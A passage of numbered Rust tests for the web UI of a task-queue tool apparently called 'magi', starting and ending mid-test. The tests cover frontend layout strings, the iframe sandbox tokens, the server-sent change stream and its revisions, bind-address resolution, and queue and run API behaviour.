14969 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
14971 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
14972 assert!(APP_CSS.contains("main[data-split]"));
14973 assert!(APP_CSS.contains("body[data-split]"));
14974
14975 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
14977 assert!(
14978 APP_JS.contains(
14979 "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
14980 )
14981 );
14982 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
14983 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
14984 assert!(INDEX_HTML.contains("id=\"split-empty\""));
14985
14986 assert!(APP_JS.contains("function markSelected() {"));
14988 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
14989 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
14990 assert!(
14992 APP_CSS.contains(
14993 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
14994 )
14995 );
14996
14997 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
14999 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
15000 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
15001 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
15002
15003 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
15007 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
15008 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
15009 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
15010
15011 assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
15013 }
15014
15015 #[test]
15016 fn panel_sandbox_carries_exactly_popups() {
15017 let needle = "sandbox: \"";
15018 let matches: Vec<_> = APP_JS.match_indices(needle).collect();
15019 assert_eq!(
15020 matches.len(),
15021 1,
15022 "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
15023 );
15024 let start = matches[0].0 + needle.len();
15025 let end = APP_JS[start..]
15026 .find('"')
15027 .expect("sandbox attribute value must be terminated by a closing quote");
15028 let val = &APP_JS[start..start + end];
15029 let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
15030 let expected: std::collections::BTreeSet<&str> =
15031 ["allow-popups", "allow-popups-to-escape-sandbox"]
15032 .into_iter()
15033 .collect();
15034 assert_eq!(tokens, expected, "sandbox tokens must match exactly");
15035 assert!(
15036 !tokens.contains("allow-scripts"),
15037 "allow-scripts must never be present in sandbox"
15038 );
15039 assert!(
15040 !tokens.contains("allow-same-origin"),
15041 "allow-same-origin must never be present in sandbox"
15042 );
15043 }
15044
15045 #[test]
15046 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
15047 assert!(
15056 APP_JS.contains(
15057 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
15058 ),
15059 "the search-clearing branch must run before state.queueFocus is cleared, or the \
15060 recursive renderQueue() call has nothing left to jump to"
15061 );
15062 assert!(
15063 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
15064 "state.queueFocus must be cleared only once the jump has landed, so a card that \
15065 arrives later still gets it"
15066 );
15067 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
15068 assert!(APP_JS.contains("is not in the current Backlog."));
15069 assert!(APP_JS.contains("li.card[data-task-id=\""));
15070 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
15071 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
15072 assert!(APP_CSS.contains(".card-permalink"));
15073 assert!(APP_CSS.contains(".queue-focus-status"));
15074 assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
15075 }
15076
15077 #[test]
15078 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
15079 assert!(
15087 APP_JS.contains(
15088 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
15089 ),
15090 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
15091 );
15092 }
15093
15094 #[test]
15095 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
15096 assert!(
15097 APP_JS.contains("round.verified_head !== round.head"),
15098 "a round that verified an earlier commit must be visibly distinct from one that \
15099 verified the head reviewers are looking at now"
15100 );
15101 assert!(
15102 APP_JS.contains("round.verified_at"),
15103 "when a check ran must be on the wire, not just which commit"
15104 );
15105 assert!(
15106 APP_JS.contains("resource_blocked"),
15107 "a command magi never got to run (shared build cache contention) must not render \
15108 the same as a command that ran and failed"
15109 );
15110 }
15111
15112 #[test]
15113 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
15114 assert!(
15122 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
15123 "every KPI tile built through statusTile() must route its click through \
15124 openRunsFiltered, the single place that sets the Runs filter"
15125 );
15126 for (label, status) in [
15127 ("Merged", "merged"),
15128 ("Ready", "ready"),
15129 ("Blocked", "blocked"),
15130 ("Stalled", "stalled"),
15131 ] {
15132 let call = format!("statusTile(\"{label}\", t.{status}, ");
15133 assert!(
15134 APP_JS.contains(&call),
15135 "expected the {label} KPI tile built via {call}..."
15136 );
15137 assert!(
15138 APP_JS.contains(&format!("status === \"{status}\"")),
15139 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
15140 compare a run against, not one invented only for the stats tile"
15141 );
15142 }
15143 assert!(
15144 APP_JS.contains("function openRunsFiltered(status)"),
15145 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
15146 );
15147 assert!(
15148 APP_JS.contains(
15149 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
15150 ),
15151 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
15152 );
15153 assert!(
15161 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
15162 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
15163 hashchange event that may never fire"
15164 );
15165 }
15166
15167 #[test]
15168 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
15169 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
15175 assert!(
15176 APP_JS.contains(
15177 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
15178 ),
15179 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
15180 guard for an incompatible tree section"
15181 );
15182 }
15183
15184 #[test]
15185 fn every_stats_queue_tile_names_a_real_queue_section() {
15186 assert!(
15192 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
15193 "every queue tile built through sectionTile() must route its click through \
15194 openQueueSectionFocus"
15195 );
15196 for key in ["upnext", "running", "done", "held", "blocked"] {
15197 assert!(
15198 APP_JS.contains(&format!("{{ key: \"{key}\",")),
15199 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
15200 );
15201 }
15202 for line in [
15206 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
15207 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
15208 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
15209 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
15210 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
15211 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
15212 ] {
15213 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
15214 }
15215 }
15216
15217 #[test]
15218 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
15219 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
15226 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
15227 assert!(APP_JS.contains("function revealQueueSection(details)"));
15228 assert!(
15229 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
15230 "renderQueue() must consume both focus channels on every pass"
15231 );
15232 assert!(
15233 APP_JS.contains(
15234 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
15235 ),
15236 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
15237 the recursive renderQueue() call has nothing left to reveal"
15238 );
15239 assert!(
15240 APP_JS.contains(
15241 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
15242 ),
15243 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
15244 );
15245 assert!(
15253 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
15254 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
15255 hashchange event that may never fire"
15256 );
15257 }
15258
15259 #[tokio::test]
15260 async fn the_change_stream_announces_the_current_revisions_on_connect() {
15261 let f = Fixture::start().await;
15262
15263 let mut socket = tokio::net::TcpStream::connect(f.addr)
15264 .await
15265 .expect("connect");
15266 socket
15267 .write_all(
15268 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
15269 )
15270 .await
15271 .expect("write request");
15272
15273 let mut seen = String::new();
15276 let mut buf = [0u8; 1024];
15277 while !seen.contains("event: change") {
15278 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
15279 .await
15280 .expect("the stream must speak within five seconds")
15281 .expect("read");
15282 assert!(read > 0, "the server closed the change stream: {seen}");
15283 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
15284 }
15285
15286 assert!(
15287 seen.to_lowercase()
15288 .contains("content-type: text/event-stream"),
15289 "the browser only reconnects automatically for a real SSE stream: {seen}"
15290 );
15291 let data = seen
15292 .lines()
15293 .find_map(|l| l.strip_prefix("data:"))
15294 .expect("a data line");
15295 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
15296 assert!(
15297 payload["queue_rev"].is_u64()
15298 && payload["runs_rev"].is_u64()
15299 && payload["questions_rev"].is_u64()
15300 && payload["talks_rev"].is_u64()
15301 && payload["notifications_rev"].is_u64()
15302 && payload["loop_rev"].is_u64(),
15303 "the client needs one revision per store to know what to refetch, \
15304 and `talks_rev` is the only notification a standing talk gets - a \
15305 phone whose radio slept through a turn learns about it here, as \
15306 does one whose operator started the loop from another device: \
15307 {payload}"
15308 );
15309
15310 let health = f.get("/api/health").await.json();
15317 for key in [
15318 "queue_rev",
15319 "runs_rev",
15320 "questions_rev",
15321 "talks_rev",
15322 "notifications_rev",
15323 "loop_rev",
15324 ] {
15325 assert!(
15326 health[key].is_u64(),
15327 "health is the change stream's fallback and is missing `{key}`: {health}"
15328 );
15329 }
15330 }
15331
15332 #[tokio::test]
15333 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
15334 let f = Fixture::start().await;
15335 let before = f.get("/api/health").await.json()["talks_rev"]
15336 .as_u64()
15337 .expect("talks_rev");
15338
15339 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
15340 std::thread::sleep(Duration::from_millis(10));
15341 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
15342 on_disk.turns.push(crate::talk::Turn {
15343 breaks: Some(Vec::new()),
15344 posted_by: None,
15345 who: crate::talk::Who::Operator,
15346 body: "a new turn".to_owned(),
15347 at: Timestamp::now(),
15348 attachments: Vec::new(),
15349 usage: None,
15350 });
15351 f.talks().put(&mut on_disk).expect("record a turn");
15352
15353 let after = f.get("/api/health").await.json()["talks_rev"]
15354 .as_u64()
15355 .expect("talks_rev");
15356 assert_ne!(
15357 before, after,
15358 "a phone must be able to notice a talk's reply without polling every store"
15359 );
15360 }
15361
15362 #[test]
15363 fn bind_reads_back_from_the_spelling_the_cli_prints() {
15364 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
15368 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
15369 }
15370 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
15371 assert!("everywhere".parse::<Bind>().is_err());
15372 }
15373
15374 #[test]
15375 fn an_explicit_bind_address_is_taken_verbatim() {
15376 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
15377
15378 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
15379
15380 assert_eq!(addr, asked);
15381 assert!(
15382 warning.is_none(),
15383 "an operator who named an address gets no lecture"
15384 );
15385 }
15386
15387 #[test]
15388 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
15389 let (addr, warning) = resolve_bind(&Bind::Auto);
15390
15391 match addr {
15398 IpAddr::V4(ip) if is_tailnet(&ip) => {
15399 assert!(warning.is_none(), "a tailnet address needs no warning");
15400 }
15401 other => {
15402 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
15403 let warning = warning.expect("a fallback has to explain itself");
15404 assert!(
15405 warning.contains("127.0.0.1") && warning.contains("local-only"),
15406 "the warning says what happened and what it costs: {warning}"
15407 );
15408 }
15409 }
15410 }
15411
15412 #[test]
15413 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
15414 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
15418 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
15419 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
15420 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
15421 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
15422 }
15423
15424 #[test]
15425 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
15426 let ids = vec![
15427 "20260902-140501-aaaa".to_owned(),
15428 "20260902-140502-aabb".to_owned(),
15429 ];
15430
15431 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
15432 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
15433 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
15434
15435 assert_eq!(missing.status, StatusCode::NOT_FOUND);
15436 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
15437 assert_eq!(short, "20260902-140502-aabb");
15438 }
15439 #[tokio::test]
15440 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
15441 let fx = Fixture::start().await;
15447 let id = panel(
15448 &fx,
15449 "<img src=\"shot.png\">",
15450 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
15451 );
15452
15453 let doc = fx
15455 .get(&format!("/api/questions/{id}/panel/index.html"))
15456 .await;
15457 assert_eq!(doc.status, 200, "{}", doc.body);
15458 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
15459
15460 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
15461 assert_eq!(sibling.status, 200, "{}", sibling.body);
15462 assert_eq!(sibling.header("content-type"), Some("image/png"));
15463 assert_eq!(
15464 sibling.header("content-security-policy"),
15465 Some(PANEL_CSP),
15466 "the sibling route must carry the same policy as the asset route"
15467 );
15468
15469 assert_eq!(
15472 fx.head(&format!("/api/questions/{id}/panel")).await.status,
15473 200
15474 );
15475 }
15476
15477 #[test]
15478 fn delta_stamps_cover_add_update_remove_and_noop() {
15479 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
15480 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
15481 let delta = diff_stamps(&before, &after, 42);
15482 assert_eq!(delta.base, 42);
15483 assert_eq!(delta.changed, ["b", "c"]);
15484 assert_eq!(delta.removed, ["a"]);
15485 let same = diff_stamps(&after, &after, 43);
15486 assert!(same.changed.is_empty() && same.removed.is_empty());
15487 assert_ne!(stamps_revision(&before), stamps_revision(&after));
15488 let nanos: Stamps = [("b".into(), (2, 20))].into();
15489 let same_ms: Stamps = [("b".into(), (3, 20))].into();
15490 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
15491 assert_eq!(stamps_revision(&Stamps::new()), 0);
15492 }
15493
15494 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
15495 std::fs::create_dir_all(home.join("runs")).unwrap();
15496 Arc::new(Ui::new(
15497 Queue::at(home.join("queue")),
15498 Questions::at(home.join("questions")),
15499 Talks::at(home.join("talks")),
15500 home.join("runs"),
15501 home.to_owned(),
15502 PathBuf::from("/repo/magi"),
15503 ))
15504 }
15505
15506 #[tokio::test]
15507 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
15508 let home = TempDir::new().unwrap();
15509 let ui = delta_test_ui(home.path());
15510 let mut task = Task::new(
15511 "stream task".into(),
15512 "text".into(),
15513 PathBuf::from("/repo"),
15514 Source::Human,
15515 );
15516 ui.queue.put(&mut task).unwrap();
15517 let response = events(State(ui.clone())).await.into_response();
15518 let mut stream = response.into_body().into_data_stream();
15519 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
15520 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
15521 .await
15522 .unwrap()
15523 .unwrap()
15524 .unwrap();
15525 let text = String::from_utf8(chunk.to_vec()).unwrap();
15526 let data = text
15527 .lines()
15528 .find_map(|line| {
15529 line.strip_prefix("data: ")
15530 .or_else(|| line.strip_prefix("data:"))
15531 })
15532 .unwrap();
15533 serde_json::from_str(data).unwrap()
15534 }
15535 let initial = change(&mut stream).await;
15536 assert!(initial.get("queue_delta").is_none());
15537 task.instruction.push_str(" changed");
15538 ui.queue.put(&mut task).unwrap();
15539 let updated = change(&mut stream).await;
15540 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
15541 assert_eq!(
15542 updated["queue_delta"]["changed"],
15543 serde_json::json!([task.id])
15544 );
15545 assert_eq!(
15546 updated["queue_rev"].as_u64(),
15547 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
15548 );
15549 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
15550 let removed = change(&mut stream).await;
15551 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
15552 assert_eq!(
15553 removed["queue_delta"]["removed"],
15554 serde_json::json!([task.id])
15555 );
15556 }
15557
15558 #[tokio::test]
15559 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
15560 let home = TempDir::new().unwrap();
15561 let ui = delta_test_ui(home.path());
15562 let queue = ui.queue.clone();
15563 let query = |ids: Option<&str>| {
15564 Query(ListQuery {
15565 limit: Some(2),
15566 ids: ids.map(str::to_owned),
15567 })
15568 };
15569 let mut root = Task::new(
15570 "root".into(),
15571 "instruction".into(),
15572 PathBuf::from("/repo"),
15573 Source::Human,
15574 );
15575 queue.put(&mut root).unwrap();
15576 let mut blocked = Task::new(
15577 "blocked".into(),
15578 "instruction".into(),
15579 PathBuf::from("/repo"),
15580 Source::Human,
15581 );
15582 blocked.block(vec![root.id.clone()], None);
15583 queue.put(&mut blocked).unwrap();
15584 let whole =
15585 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
15586 .unwrap();
15587 let subset = serde_json::to_value(
15588 queue_list(State(ui.clone()), query(Some(&root.id)))
15589 .await
15590 .unwrap()
15591 .0,
15592 )
15593 .unwrap();
15594 assert_eq!(whole, subset, "requested root plus its blocked dependent");
15595 let blockers = serde_json::to_value(
15596 queue_list(State(ui.clone()), query(Some("")))
15597 .await
15598 .unwrap()
15599 .0,
15600 )
15601 .unwrap();
15602 assert_eq!(blockers.as_array().unwrap().len(), 1);
15603 assert_eq!(blockers[0]["id"], blocked.id);
15604 assert_eq!(
15605 blockers[0]["waits_on"],
15606 whole
15607 .as_array()
15608 .unwrap()
15609 .iter()
15610 .find(|row| row["id"] == blocked.id)
15611 .unwrap()["waits_on"]
15612 );
15613
15614 for id in [
15615 "20260902-140501-aaaa",
15616 "20260902-140502-bbbb",
15617 "20260902-140503-cccc",
15618 ] {
15619 write_run(&ui.runs, id, RunStatus::Merged);
15620 }
15621 let old = serde_json::to_value(
15622 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
15623 .await
15624 .unwrap()
15625 .0,
15626 )
15627 .unwrap();
15628 assert!(
15629 old.as_array().unwrap().is_empty(),
15630 "older updates must not enter the window"
15631 );
15632 let newest = serde_json::to_value(
15633 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
15634 .await
15635 .unwrap()
15636 .0,
15637 )
15638 .unwrap();
15639 assert_eq!(newest.as_array().unwrap().len(), 1);
15640 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
15641
15642 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
15643 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
15644 let talks = serde_json::to_value(
15645 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
15646 .await
15647 .unwrap()
15648 .0,
15649 )
15650 .unwrap();
15651 assert_eq!(talks.as_array().unwrap().len(), 1);
15652 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
15653 assert_eq!(
15654 serde_json::to_value(
15655 talks_list(State(ui.clone()), query(Some("")))
15656 .await
15657 .unwrap()
15658 .0
15659 )
15660 .unwrap(),
15661 serde_json::json!([])
15662 );
15663 }
15664
15665 #[tokio::test]
15666 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
15667 async fn delta_payload_benchmark() {
15668 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
15669 let ui = delta_test_ui(&home);
15670 let query = |ids: Option<String>| {
15671 Query(ListQuery {
15672 limit: Some(50),
15673 ids,
15674 })
15675 };
15676 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
15677 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
15678 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
15679 let queue_id = queue
15680 .iter()
15681 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
15682 .unwrap_or(&queue[0])
15683 .task
15684 .id
15685 .clone();
15686 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
15687 .await
15688 .unwrap()
15689 .0;
15690 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
15691 .await
15692 .unwrap()
15693 .0;
15694 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
15695 .await
15696 .unwrap()
15697 .0;
15698 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
15699 eprintln!(
15700 "DELTA_PAYLOAD {}",
15701 serde_json::json!({
15702 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
15703 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
15704 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
15705 "counts": [queue.len(), runs.len(), talks.len()],
15706 "blocked": queue_delta.len() - 1,
15707 })
15708 );
15709 }
15710
15711 #[test]
15712 fn runs_revision_moves_when_deleting_an_older_run() {
15713 let temp = TempDir::new().expect("tempdir");
15714 let runs = temp.path().join("runs");
15715 std::fs::create_dir_all(&runs).expect("create runs dir");
15716
15717 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
15718
15719 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
15720 std::thread::sleep(Duration::from_millis(10));
15721 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
15722
15723 let rev_before = runs_revision(&runs);
15724 assert!(rev_before > 0);
15725
15726 let old_dir = runs.join("20260901-100000-old1");
15727 std::fs::remove_dir_all(&old_dir).expect("remove old run");
15728
15729 let rev_after = runs_revision(&runs);
15730 assert_ne!(
15731 rev_before, rev_after,
15732 "deleting an older run must change the revision so other clients see the deletion"
15733 );
15734 }
15735
15736 fn write_state(runs: &FsPath, state: &RunState) {
15741 let dir = runs.join(&state.id);
15742 std::fs::create_dir_all(&dir).expect("run dir");
15743 std::fs::write(
15744 dir.join("run.json"),
15745 serde_json::to_string_pretty(state).expect("serialize run"),
15746 )
15747 .expect("write run.json");
15748 }
15749
15750 #[test]
15755 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
15756 let temp = TempDir::new().expect("tempdir");
15757 let runs = temp.path().join("runs");
15758 std::fs::create_dir_all(&runs).expect("create runs dir");
15759 let mut state = RunState::new(
15760 PathBuf::from("/repo/magi"),
15761 "main".to_owned(),
15762 "0123456789abcdef".to_owned(),
15763 "task".to_owned(),
15764 Config::default(),
15765 );
15766 state.id = "20260902-100000-c0de".to_owned();
15767 write_state(&runs, &state);
15768
15769 let rev_idle = runs_revision(&runs);
15770 std::thread::sleep(Duration::from_millis(10));
15771 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
15772 write_state(&runs, &state);
15773 let rev_started = runs_revision(&runs);
15774 assert_ne!(
15775 rev_idle, rev_started,
15776 "a seat starting must move the revision"
15777 );
15778
15779 std::thread::sleep(Duration::from_millis(10));
15780 state.seat_finished("judge-1");
15781 write_state(&runs, &state);
15782 let rev_finished = runs_revision(&runs);
15783 assert_ne!(
15784 rev_started, rev_finished,
15785 "and clearing it again must move the revision a second time"
15786 );
15787 }
15788
15789 #[tokio::test]
15790 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
15791 let fx = Fixture::start().await;
15796 let q = fx.queue();
15797
15798 let mut t = Task::new(
15799 "Task".to_owned(),
15800 "Instruction".to_owned(),
15801 PathBuf::from("/repo"),
15802 Source::Human,
15803 );
15804 t.block(
15805 vec!["20260101-000000-dead".to_owned()],
15806 Some("waiting on Task 1".to_owned()),
15807 );
15808 t.answers.push(crate::queue::AnsweredQuestion {
15809 question: "Which backend?".to_owned(),
15810 answer: "SQLite".to_owned(),
15811 });
15812 q.put(&mut t).expect("put t");
15813
15814 let res = fx.get("/api/queue").await;
15815 assert_eq!(res.status, 200);
15816 let list = res.json();
15817 let view = list
15818 .as_array()
15819 .expect("array")
15820 .iter()
15821 .find(|v| v["id"] == t.id)
15822 .expect("task in list");
15823 assert_eq!(view["status_str"], "blocked");
15824 assert_eq!(
15825 view["blocked_by"],
15826 serde_json::json!(["20260101-000000-dead"])
15827 );
15828 assert_eq!(view["block_reason"], "waiting on Task 1");
15829 assert_eq!(view["answers"][0]["question"], "Which backend?");
15830 assert_eq!(view["answers"][0]["answer"], "SQLite");
15831
15832 let res = fx
15836 .post(&format!("/api/queue/{}/hold", t.short()), None)
15837 .await;
15838 assert_eq!(res.status, 200);
15839 let held = res.json();
15840 assert_eq!(held["status_str"], "held");
15841 assert_eq!(held["blocked_by"], serde_json::json!([]));
15842 assert!(held["block_reason"].is_null());
15843 assert_eq!(held["answers"][0]["answer"], "SQLite");
15844 }
15845
15846 #[tokio::test]
15847 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
15848 let fx = Fixture::start().await;
15849 let q = fx.queue();
15850 let mk = |title: &str| {
15851 Task::new(
15852 title.to_owned(),
15853 "Instruction".to_owned(),
15854 PathBuf::from("/repo"),
15855 Source::Human,
15856 )
15857 };
15858 let mut root = mk("root");
15859 root.hold_manual(Some("waiting".to_owned()));
15860 q.put(&mut root).unwrap();
15861 let mut mid = mk("mid");
15862 mid.block(vec![root.id.clone()], None);
15863 q.put(&mut mid).unwrap();
15864 let mut leaf = mk("leaf");
15865 leaf.block(vec![mid.id.clone()], None);
15866 q.put(&mut leaf).unwrap();
15867
15868 let list = fx.get("/api/queue").await.json();
15869 let find = |id: &str| {
15870 list.as_array()
15871 .unwrap()
15872 .iter()
15873 .find(|v| v["id"] == id)
15874 .unwrap()
15875 .clone()
15876 };
15877 let leaf_view = find(&leaf.id);
15878 assert_eq!(
15879 leaf_view["waits_on"],
15880 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
15881 );
15882 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
15883 assert_eq!(
15884 find(&mid.id)["waits_on"],
15885 serde_json::json!([format!("{} (held)", root.short())])
15886 );
15887 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
15888 }
15889
15890 #[tokio::test]
15891 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
15892 let fx = Fixture::start().await;
15893 let q = fx.queue();
15894
15895 let mut t1 = Task::new(
15897 "Task 1".to_owned(),
15898 "Instruction 1".to_owned(),
15899 PathBuf::from("/repo"),
15900 Source::Human,
15901 );
15902 let run_id = "20260901-000000-r111";
15903 t1.runs.push(run_id.to_owned());
15904 write_run(&fx.runs(), run_id, RunStatus::Merged);
15905 q.put(&mut t1).expect("put t1");
15906
15907 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
15909 assert_eq!(res.status, 204);
15910 assert!(res.body.is_empty(), "204 No Content has no body");
15911 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
15912 assert!(
15913 fx.runs().join(run_id).exists(),
15914 "run directory must not be deleted when its task is deleted"
15915 );
15916
15917 let mut t2 = Task::new(
15919 "Task 2".to_owned(),
15920 "Instruction 2".to_owned(),
15921 PathBuf::from("/repo"),
15922 Source::Human,
15923 );
15924 t2.status = TaskStatus::Running;
15925 q.put(&mut t2).expect("put t2");
15926 let mut beat = crate::daemon::Status::new();
15927 beat.current = vec![crate::daemon::Current {
15928 task: t2.id.clone(),
15929 run: "20260901-000000-r222".to_owned(),
15930 }];
15931 beat.updated_at = jiff::Timestamp::now();
15932 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
15933 .expect("publish a heartbeat");
